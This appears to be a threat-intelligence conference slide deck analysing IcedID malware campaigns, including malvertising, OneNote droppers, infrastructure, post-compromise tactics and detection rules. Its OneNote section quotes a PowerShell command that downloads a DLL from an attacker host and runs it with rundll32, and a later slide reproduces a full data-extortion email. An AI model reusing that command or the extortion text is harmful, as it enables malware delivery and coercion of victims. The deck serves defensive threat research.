IcedID: Defrosting a Recent Campaign
Illustrating evolving tactics and shared infrastructure

Colin Cowie, Threat Intelligence Analyst
Paul Jaramillo, Director of Threat Hunting & Intelligence
FIRST Technical Colloquium - April 2023
Introductions

Paul Jaramillo
Director, Threat Hunting & Intelligence
Saint Louis, Missouri, USA
@DFIR_Janitor

Colin Cowie
Threat Intelligence Analyst
Seattle, Washington, USA
@th3_protocol
Agenda

Historical Campaigns

Initial Access via Malvertising

OneNote Adoption

Infrastructure Analysis

Post Exploitation

Detection & Takeaways

Q&A
Overview
IcedID: Overview

IcedID, also known as BokBot, is an actively developed malware family first discovered in 2017 as a banking Trojan but has since evolved into a versatile tool for financially motivated attackers.

Initially used MiTM technique to steal banking credentials, in recent years, adversaries have been using IcedID to gain access to targeted networks, often leading to ransomware. North America, Europe primarily, but also globally.

In addition to using traditional attack vectors like phishing emails and malicious attachments, adversaries are now deploying IcedID through more sophisticated methods such as malicious advertisements.

Distributors
- Emotet (TA542)
- Shathak (TA551)
- TR (TA577)
- Collaborators
  - Trickbot & Conti

Key Traits
- Encrypted license.dat (*.dat) loaded into memory
- Use of rundll32, mshta
- Scheduled tasks
- Registry persistence
- Good developers, bad OPSEC
Historical Campaigns
IcedID Origin Story (2010-2016)

- **NOV 2010**: Gozi developer, Nikita Kizmin, founder of 76 Service arrested, Gozi 2.0 launches shortly after
- **OCT 2012**: Neverquest/Vawtrak established with Oleg Tolstykh "vorVzakon" and "NSD"
- **JUN 2012**: Pony loader dropping Neverquest for 6-month campaign (v2.2 - v2.13)
- **DEC 2014**: Major release 0x38, extensive collaboration with Dyre, both dropping each other's malware
- **OCT 2015**: Neverquest pivots to Hancitor and H1N1 for distribution (v2.14 - v2.88)
- **APR 2016**: Project Blitzkrieg kicks off with updated Gozi, BackConnect and 64-bit browser support
IcedID Timeline (2017-2019)

- JAN 2017: Stanislav Lisov "Blackf" arrested, Neverquest ceases operations
- APR 2017: IcedID first observed being dropped by Emotet, using POSTs and GETs with URI parameters
- AUG 2018: Major update cuts file size though remote modules access on demand just like Trickbot
- FEB 2019: IcedID campaign C610DF9A drops Trickbot, marks pivot from banking trojan to LaaS
- APR 2019: Major update to mirror Trickbot’s process injection techniques
- SEP 2019: IcedID adopts stenography technique with the PhotoLoader campaign
Shathak/TA551 shifts payload from Valak to IcedID. IcedID observed dropping MAZE ransomware (UNC2198)

IcedID observed dropping MAZE ransomware (UNC2198)

TR(TA577) now delivering new IcedID GZipLoader where license.dat config is loaded is decrypted into memory

"Stolen Images" campaign leveraging contact forms and hosting on sites.google[.]com, leading to Conti

IcedID sells access to Egregor ransomware (UNC2198)

IcedID delivers access in very large REvil campaign

IcedID dropping MountLocker/XingLocker after previously providing access to Conti Group

IcedID Timeline (2020-2021)
IcedID Timeline (2022-Today)

- Distribution of IcedID pivots to email threat hijacking using ISO images containing LNK & DLL files
- IcedID deployed against Ukrainian government organizations
- First time IcedID uses distribution via Malvertizing with Google PPC
- *Conti Leaks* reveals size and scope of collaboration (Stern/Leo) and code overlap with IcedID and MountLocker family
- IcedID Lite version first observed being delivered by Emotet (TA542)
- IcedID campaign using OneNote files leverages a distinctly forked version of the loader
Initial Access via Malvertising
IcedID Malvertising Campaign

- **Primary Campaign Duration:**
  - December 2022 through January 2023

- **Themes & Lures:**
  - **Communications Tools**
    - Microsoft Teams, Slack, Brave Browser, Libre Office
  - **IT Administration Tools**
    - WebEx, GoTo, AnyDesk, TeamViewer, Fortinet, Docker
  - **Finance & Entertainment**
    - IRS, Chase, Adobe, Discord, OBS

- **Download filename examples:**
  - `Setup_Win_DD-MM-2023_HH-MM-SS.zip`
  - `IRS_Form_DD-MM-2023_HH-MM-SS.zip`
Bad Meets Evil: Google AdSense & Keitaro TDS

- **Traffic Distribution System**
  - Enables precise web-traffic targeting
  - Keitaro has historically been leveraged by exploit kits since 2016

- This combo was used in 2022 with **Batloader** prior to **Royal Ransomware**
Example: Traffic Distribution System Redirection
Example: Threat Actor Keitaro C2

- **Most Common Provider:**
  - AS57678 / REDBYTES-AS, RU

- **Long lifespan per C2 IP**
  - Many domain per IP

- **Anti-Researcher Filtering**
Some of the Observed Themes
OneNote Adoption
OneNote IcedID Droppers (Part 1)

- IcedID copied Qakbot
  - January 31st - Qakbot starts using OneNote
  - February 2nd - IcedID starts using OneNote
    - Exact same template
    - Dormant unused Qakbot script code

- Multiple Concurrent Distributions
  - Malvertizing
    - Fake IRS site
    - .zip containing a .one
  - Email
    - .one attachment

Template used by both Qakbot & IcedID
OneNote IcedID Droppers (Part 2)

- Significantly more email-based OneNote distribution
- Improved lure documents over time
- OneNote documents used an embedded .hta script
- C2 communications provides PowerShell code
  - Loads core IcedID .dll for further actions on objective

```powershell
$path = $Env:LOCALAPPDATA+'\lkKLRoc.bin';
$client.downloadfile('http://ww-citrixcom.top/gate/test.dll',$path);
C:\Windows\System32\rundll32.exe $path,init
```

*C2 Response after infection*
OneNote & IcedID: Today

- Following an abuse crackdown by google in late January, IcedID has not been observed using Google AdSense
  - Batloader has been spotted launching new campaigns despite the response actions
- IcedID continued to leverage email-based OneNote malware throughout March
- New email-based IcedID campaigns without OneNote

URLHaus IcedID Entries (via Abuse.ch)
Infrastructure Analysis
IcedID: Infrastructure Highlights

TDS – Prometheus, Keitaro
storage.googleapis[.]com &&
firebasestorage.googleapis[.]com

Tier 1 – Staging Servers in victim regions

Tier 2 – Core C2 Servers in RU/Eastern Europe

Use of OpenResty/Nginx

Victim Panel Example: acridpanel[.]com
Previously Yummba (‘cdn’, ‘js’)

### Hosting
- Digital Ocean (2020-2022)
- M247 (2021,2022)
- BLNWX (2023)
- DEDIPATH-LLC (2023)
- EDIS-AS-EU (2023)
- COMBAHTON (2021)
- HZ Hosting (2022)
- Neterra Ltd. (2021)
- Cloudflare (2021)
- THEFIRST-AS (2020-2022)

### TLDs
- .top
- .club
- .xyz
- .space
- .website
- .uno
- .buzz
- .pw
- .bid
- .click
- .by
- .online
- .com
- .site
- .download
- .cyou
- .cloud
- .best
- .rocks
- .casa
- .fun
- .lol

### Nameservers
- Parked
- Cloudflare (2021,2022)
- Njalla (2022,2023)
- DNSPod (2022,2023)

### Registrars
- Eranet International (2018-2021)
- Porkbun (2020-2022)
- Namesilo (2020-2021)
- Tucows (2021-2023)
- Nicenic Int (2022-2023)
IcedID: Certificates

- Lets Encrypt
- Digicert
- Cloudflare
- "CN=localhost, C=AU, ST=Some"
- "CN=main[.]info"
IcedID: BackConnect

- Custom socks5 implementation
  - TCP 80, 8080
- Both the client and C2 can issue commands using 13 byte packets
- Leverages a 4 byte authorization, e.g., 0x974F014A, 0x1F8B0808
- Commands are 1 byte and include:
  - Sleep, Execute SOCKS, Execute VNC, Execute File Manager, Execute Reverse Shell
- Pcaps available courtesy of Brad Duncan @malware_traffic
  - Use Felix Weyne's script - bokbot_icedid-imaginary-c2
- Open source snort signatures available at hxxps://networkforensic.dk/

Image credit: Group-IB
Post Exploitation
Post-Compromise TTPs

**Discovery**
- NLTest
- WMIC
- net view
- net group
- PowerShell

**C2 & Persistence**
- VNC
- CobaltStrike
- Dual-Use Agents

**Escalation of Access**
- ShareFinder
- ZeroLogon
- Kerberoast
- Bloodhound
- DCSync

**Actions on Objective**
- Data Collection & Exfiltration
- Ransomware Deployment
Time-to-Ransomware

- Could be as quickly as 72 hours
- Or longer than 30+ days

Past Ransomware Deployed

- Conti
- Egregor
- RansomEXX
- Quantum/Xing Locker
- Maze
- Revil
- Others

Image Source: CyberReason 2023
### IcedID Malvertizing Escalates to Data Exfil

<table>
<thead>
<tr>
<th>Time Sequence</th>
<th>Events</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Initial Infection</strong></td>
<td>- Google Ad &gt; team-viewer-com.top -&gt; IcedID</td>
</tr>
<tr>
<td>+1 day</td>
<td>- Powershell CobaltStrike Execution</td>
</tr>
<tr>
<td>+11, +12 &amp; +13 days</td>
<td>- Powershell CobaltStrike Execution</td>
</tr>
<tr>
<td></td>
<td>- Event Log Clearing</td>
</tr>
<tr>
<td>+18 days</td>
<td>- Windows Defender Exclusion for C:\ProgramData</td>
</tr>
<tr>
<td>+23 to +28 days</td>
<td>- CobaltStrike Execution</td>
</tr>
<tr>
<td></td>
<td>- Lateral Movement</td>
</tr>
<tr>
<td>+30 days in</td>
<td>- Zero.exe &amp; lazagne.exe</td>
</tr>
<tr>
<td></td>
<td>- <strong>Royal Ransomware</strong> attempted</td>
</tr>
<tr>
<td>+31 to 40 days in</td>
<td>- Invoke-Sharefinder.ps1</td>
</tr>
<tr>
<td></td>
<td>- Rclone exfiltration</td>
</tr>
<tr>
<td>41 days in</td>
<td>- Emailed based Extortion Attempts</td>
</tr>
<tr>
<td></td>
<td>- Protonmail &amp; qtox</td>
</tr>
</tbody>
</table>

*Time Unknown: ADFind & Advanced_IP_Scanner*
Extortion Attempt

Hello,

You had a vulnerability in the network through which we made our way and downloaded confidential information such as: new clients, employees, partners, contracts, databases, internal mail, financial documents, projects, developments and much more. It's not a joke, we can provide you with proof in the form of a printout of your files, or you can select a few documents from the list to make sure we really did it all.

I do not advise you to contact any structures, they will not do anything, but will only spend your money and time, your data is copied from us in several places, so no one will get access to them except us.

Don't worry if this email was only sent to you or other executives in your company.

I think it's in your best interest to keep all this anonymous, in exchange for not disclosing this information, we want a reward from you, it is many times less if your files were leaked.

Once we have agreed with you, we will provide confirmation of the deletion of your files. We will also provide instructions on how to fix your vulnerability and what tools to use.

Remember, if you ignore us and do not give feedback, we will be forced to put all your data on the internet.

Hurry up to leave a review, time is running out, you can contact us using one of the 2 options below:

1. - is the qTox client (you can download it here: https://github.com/qTox/qTox/blob/master/qTox/qTox%/qTox% IDs: B36F1E3ECD04648047E0C5086C87B28SBG72ACE7A34EF35F4F93A7C1
2. - email: download.files.company.20230kicaba.com or download.files.company.20230kicaba.com

This letter is very important for you, if you ignore it, you will get big financial losses.
Your company has experienced a data breach.
Read the attached file INFORMATION_FOR_DIRECTOR.txt
I also attached you a few screenshots of your files that we have, this is only a small part of what we have.
The sooner you contact us, the sooner this will be completed and we guarantee complete anonymity with this incident.

Pass the information to the director of the company.
Detection & Takeaways
IcedID: Infection Chains

Malicious Advertising
- archive (.zip) -> image (.iso) -> shortcut (.lnk) -> rundll32 (.dll) -> c2 communication & payload
- archive (.zip) -> binary (.exe) -> c2 communication & payload

Email
- attachment (.pdf) -> embedded url -> archive (.zip) -> wscript (.js) -> rundll32 (.dll)
- attachment (.url) -> .cmd -> rundll32 (.dll) -> rundll32 (.dat) & rundll32 (.dll) -> c2 communication
- attachment (.zip) -> .one -> .hta -> powershell (B64 encoded) -> rundll32 (.bin) -> c2 communication
- attachment (.pdf) -> url -> archive (.zip) -> image (.iso) -> shortcut (.lnk) -> .cmd -> rundll32 (.dat) -> c2 comms
- protected archive (.zip) -> VBA macro in doc -> mshta.exe (.hta) -> rundll32 (stage 1 .dll) -> fake gzip download -> rundll32 (stage 2 .dll) & encrypted payload (.dat)
IcedID: ATT&CK

**Execution**
- CobaltStrike deployed via injecting into winlogon.exe
-Exports DllRegisterServer() function
-Execution guardrails on the payload servers
-In 2023, code signed by Digi Corp Media LLC

**Persistence**
- Writes HKCU Run & HKLM RunOnce Keys
- Scheduled Task at logon and every hour
- Payload stored in %ProgramData% in a GUID folder
- ~/AppData/Local holds the random *.dat config file

**Defense Evasion**
- VM detection of popular hypervisors
- Proxy execution w/ rundll32, regsvr32, & mshta
- UAC Bypass via UAC-TokenMagic & Invoke-SluiBypass
- Blends in benign network traffic
- Kills Windows Defender, adds key to exclude .exe and .dll files

**Command & Control**
- Uses cookie parameters for victim information
  - _ga is processor
  - _gat is windows version
  - _gid is mac address
- Body of response encrypted with RC4
- TLS makes use of WINHTTP.dll
- Config file is encrypted with lzma
IcedID: Detections

- **Registry Sub Key in Software\Classes\CLSID\ = BotID, User SID, Hardcoded GUIDs**
  - Telekom Security - compute_botid_and_regkeys.py

- **Sigma Rules**
  - Suspicious Scheduled Task Creation Leveraging Regsvr32
  - Scheduled Task Leveraging Regsvr32

- **Yara Rules**
  - GZipLoader strings
  - ZIP archives containing an IcedID OneNote, ISO, EXE, or MSI file
  - PDFs with links to remote PDFs hosted by google firebase
  - Cookie parameters

- **Generic Behavior Hunt**
  - Download of binaries or archives via lolbins from rare domains/TLDs followed by execution of unsigned dll
  - DLL execution from a mounted device (iso)

- **Sophos Examples**
  - EQL-WIN-DIS-PRC-ICEDID-REGSVR32-DISCOVERY-1 (MDR)
  - EQL-WIN-DIS-PRC-ICEDID-RUNDLL32-DISCOVERY-1 (MDR)
  - MEM-ICEDID-E (C2 1A)
  - SOPHOS-CLEAN-Troj-IcedID-BE
  - SOPHOS-DET-WINDOWS-BEHAVIORAL-MALWARE-Evade_13a
Appendix - References

Timeline 2010-2016
- [https://www.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak/](https://www.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak/)
- [https://www.secureworks.com/research/dyre-banking-trojan](https://www.secureworks.com/research/dyre-banking-trojan)
- [https://www.slideshare.net/nel08221/networkinsightsintovawtrakv2](https://www.slideshare.net/nel08221/networkinsightsintovawtrakv2)

Timeline 2017-2019

Timeline 2020-2021
- [https://unit42.paloaltonetworks.com/ta551-shathak-icedid/](https://unit42.paloaltonetworks.com/ta551-shathak-icedid/)
- [https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations](https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations)
- [https://www.binarydefense.com/icedid-gziploader-analysis/](https://www.binarydefense.com/icedid-gziploader-analysis/)

Timeline 2022 - Today
Appendixes - References

- **IcedID: Backconnect**
  - [https://www.group-ib.com/blog/icedid/](https://www.group-ib.com/blog/icedid/)
  - [https://github.com/felixweyne/imaginaryC2/tree/master/examples/use-case-7-bokbot_icedid](https://github.com/felixweyne/imaginaryC2/tree/master/examples/use-case-7-bokbot_icedid)

- **Detections**
  - [https://blogs.opentext.com/dissecting-icidid-behavior-on-an-infected-endpoint/](https://blogs.opentext.com/dissecting-icidid-behavior-on-an-infected-endpoint/)
  - [https://github.com/colincowie/100DaysOfYara_2023](https://github.com/colincowie/100DaysOfYara_2023)